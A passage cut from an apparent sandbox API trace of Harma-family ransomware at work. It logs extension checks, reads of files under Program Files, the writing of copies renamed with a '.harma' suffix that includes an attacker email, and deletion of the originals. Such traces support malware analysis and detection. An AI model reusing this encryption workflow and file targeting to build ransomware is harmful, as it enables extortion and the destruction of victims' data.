(lpString=".bz2") returned 4 [0065.457] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0065.457] lstrlenW (lpString=".7z") returned 3 [0065.457] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0065.457] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png") returned 78 [0065.457] lstrlenW (lpString=".dbf") returned 4 [0065.457] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0065.462] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0065.462] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0065.796] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=30948) returned 1 [0065.797] CloseHandle (hObject=0x214) returned 1 [0065.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 0x20 [0065.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0065.797] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.797] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0065.797] GetLastError () returned 0x0 [0065.797] ReadFile (in: hFile=0x214, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x78e4, lpOverlapped=0x0) returned 1 [0065.813] WriteFile (in: hFile=0x20c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x78f0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x78f0, lpOverlapped=0x0) returned 1 [0065.815] ReadFile (in: hFile=0x214, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0065.815] WriteFile (in: hFile=0x20c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.815] SetEndOfFile (hFile=0x20c) returned 1 [0065.815] CloseHandle (hObject=0x20c) returned 1 [0065.817] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.817] SetEndOfFile (hFile=0x214) returned 1 [0065.818] CloseHandle (hObject=0x214) returned 1 [0065.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0065.818] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 1 [0065.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0065.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0065.818] lstrlenW (lpString=".doc") returned 4 [0065.818] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0065.819] lstrlenW (lpString=".docx") returned 5 [0065.819] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0065.819] lstrlenW (lpString=".pdf") returned 4 [0065.819] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0065.819] lstrlenW (lpString=".xls") returned 4 [0065.819] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0065.819] lstrlenW (lpString=".xlsx") returned 5 [0065.819] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0065.819] lstrlenW (lpString=".ppt") returned 4 [0065.819] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0065.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0065.819] lstrlenW (lpString=".zip") returned 4 [0065.819] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0065.819] lstrlenW (lpString=".rar") returned 4 [0065.819] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0065.819] lstrlenW (lpString=".bz2") returned 4 [0065.819] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0065.819] lstrlenW (lpString=".7z") returned 3 [0065.819] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0065.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0065.819] lstrlenW (lpString=".dbf") returned 4 [0065.819] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0065.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0065.819] lstrlenW (lpString=".1cd") returned 4 [0065.819] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0065.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0065.819] lstrlenW (lpString=".jpg") returned 4 [0065.819] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0065.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0065.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0065.820] lstrlenW (lpString=".doc") returned 4 [0065.820] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0065.820] lstrlenW (lpString=".docx") returned 5 [0065.820] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0065.820] lstrlenW (lpString=".pdf") returned 4 [0065.820] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0065.820] lstrlenW (lpString=".xls") returned 4 [0065.820] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0065.820] lstrlenW (lpString=".xlsx") returned 5 [0065.820] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0065.820] lstrlenW (lpString=".ppt") returned 4 [0065.820] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0065.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0065.820] lstrlenW (lpString=".zip") returned 4 [0065.820] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0065.820] lstrlenW (lpString=".rar") returned 4 [0065.820] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0065.820] lstrlenW (lpString=".bz2") returned 4 [0065.820] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0065.820] lstrlenW (lpString=".7z") returned 3 [0065.820] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0065.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0065.820] lstrlenW (lpString=".dbf") returned 4 [0065.820] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0065.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0065.820] lstrlenW (lpString=".1cd") returned 4 [0065.821] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0065.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0065.821] lstrlenW (lpString=".jpg") returned 4 [0065.821] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0065.821] lstrcmpiW (lpString1=".xsl", lpString2=".harma") returned 1 [0065.821] lstrlenW (lpString="msjet.xsl") returned 9 [0065.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0065.821] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=28974) returned 1 [0065.821] CloseHandle (hObject=0x214) returned 1 [0065.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 0x20 [0065.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0065.822] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.822] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0065.822] GetLastError () returned 0x0 [0065.822] ReadFile (in: hFile=0x214, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x712e, lpOverlapped=0x0) returned 1 [0065.825] WriteFile (in: hFile=0x20c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x7130, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x7130, lpOverlapped=0x0) returned 1 [0065.826] ReadFile (in: hFile=0x214, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0065.826] WriteFile (in: hFile=0x20c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0065.826] SetEndOfFile (hFile=0x20c) returned 1 [0065.826] CloseHandle (hObject=0x20c) returned 1 [0065.826] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.826] SetEndOfFile (hFile=0x214) returned 1 [0065.827] CloseHandle (hObject=0x214) returned 1 [0065.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0065.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 1 [0065.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0065.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0065.828] lstrlenW (lpString=".doc") returned 4 [0065.828] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0065.828] lstrlenW (lpString=".docx") returned 5 [0065.828] lstrcmpiW (lpString1=".docx", lpString2="t.xsl") returned -1 [0065.828] lstrlenW (lpString=".pdf") returned 4 [0065.828] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0065.828] lstrlenW (lpString=".xls") returned 4 [0065.828] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0065.828] lstrlenW (lpString=".xlsx") returned 5 [0065.828] lstrcmpiW (lpString1=".xlsx", lpString2="t.xsl") returned -1 [0065.828] lstrlenW (lpString=".ppt") returned 4 [0065.828] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0065.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0065.828] lstrlenW (lpString=".zip") returned 4 [0065.828] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0065.828] lstrlenW (lpString=".rar") returned 4 [0065.828] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0065.829] lstrlenW (lpString=".bz2") returned 4 [0065.829] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0065.829] lstrlenW (lpString=".7z") returned 3 [0065.829] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0065.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0065.829] lstrlenW (lpString=".dbf") returned 4 [0065.829] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0065.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0065.829] lstrlenW (lpString=".1cd") returned 4 [0065.829] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0065.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0065.829] lstrlenW (lpString=".jpg") returned 4 [0065.829] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0065.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0065.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0065.829] lstrlenW (lpString=".doc") returned 4 [0065.829] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0065.829] lstrlenW (lpString=".docx") returned 5 [0065.829] lstrcmpiW (lpString1=".docx", lpString2="t.xsl") returned -1 [0065.829] lstrlenW (lpString=".pdf") returned 4 [0065.829] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0065.829] lstrlenW (lpString=".xls") returned 4 [0065.829] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0065.829] lstrlenW (lpString=".xlsx") returned 5 [0065.829] lstrcmpiW (lpString1=".xlsx", lpString2="t.xsl") returned -1 [0065.829] lstrlenW (lpString=".ppt") returned 4 [0065.829] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0065.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0065.829] lstrlenW (lpString=".zip") returned 4 [0065.830] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0065.830] lstrlenW (lpString=".rar") returned 4 [0065.830] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0065.830] lstrlenW (lpString=".bz2") returned 4 [0065.830] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0065.830] lstrlenW (lpString=".7z") returned 3 [0065.830] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0065.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0065.830] lstrlenW (lpString=".dbf") returned 4 [0065.830] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0065.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0065.830] lstrlenW (lpString=".1cd") returned 4 [0065.830] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0065.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0065.830] lstrlenW (lpString=".jpg") returned 4 [0065.830] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0065.830] lstrcmpiW (lpString1=".xsl", lpString2=".harma") returned 1 [0065.830] lstrlenW (lpString="sql2000.xsl") returned 11 [0065.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0065.835] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=34076) returned 1 [0065.835] CloseHandle (hObject=0x214) returned 1 [0065.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 0x20 [0065.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0065.835] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.835] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0065.835] GetLastError () returned 0x0 [0065.835] ReadFile (in: hFile=0x214, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x851c, lpOverlapped=0x0) returned 1 [0065.872] WriteFile (in: hFile=0x20c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x8520, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x8520, lpOverlapped=0x0) returned 1 [0065.873] ReadFile (in: hFile=0x214, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0065.873] WriteFile (in: hFile=0x20c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xea, lpOverlapped=0x0) returned 1 [0065.873] SetEndOfFile (hFile=0x20c) returned 1 [0065.874] CloseHandle (hObject=0x20c) returned 1 [0065.874] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.874] SetEndOfFile (hFile=0x214) returned 1 [0065.876] CloseHandle (hObject=0x214) returned 1 [0065.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0065.876] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 1 [0065.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0065.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0065.877] lstrlenW (lpString=".doc") returned 4 [0065.877] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0065.877] lstrlenW (lpString=".docx") returned 5 [0065.877] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0065.877] lstrlenW (lpString=".pdf") returned 4 [0065.877] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0065.877] lstrlenW (lpString=".xls") returned 4 [0065.877] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0065.877] lstrlenW (lpString=".xlsx") returned 5 [0065.877] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0065.877] lstrlenW (lpString=".ppt") returned 4 [0065.877] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0065.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0065.877] lstrlenW (lpString=".zip") returned 4 [0065.878] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0065.878] lstrlenW (lpString=".rar") returned 4 [0065.878] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0065.878] lstrlenW (lpString=".bz2") returned 4 [0065.878] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0065.878] lstrlenW (lpString=".7z") returned 3 [0065.878] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0065.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0065.878] lstrlenW (lpString=".dbf") returned 4 [0065.878] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0065.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0065.878] lstrlenW (lpString=".1cd") returned 4 [0065.878] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0065.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0065.878] lstrlenW (lpString=".jpg") returned 4 [0065.878] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0065.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0065.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0065.878] lstrlenW (lpString=".doc") returned 4 [0065.878] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0065.878] lstrlenW (lpString=".docx") returned 5 [0065.878] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0065.878] lstrlenW (lpString=".pdf") returned 4 [0065.878] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0065.879] lstrlenW (lpString=".xls") returned 4 [0065.879] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0065.879] lstrlenW (lpString=".xlsx") returned 5 [0065.879] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0065.879] lstrlenW (lpString=".ppt") returned 4 [0065.879] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0065.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0065.879] lstrlenW (lpString=".zip") returned 4 [0065.879] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0065.879] lstrlenW (lpString=".rar") returned 4 [0065.879] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0065.879] lstrlenW (lpString=".bz2") returned 4 [0065.879] lstrcmpiW 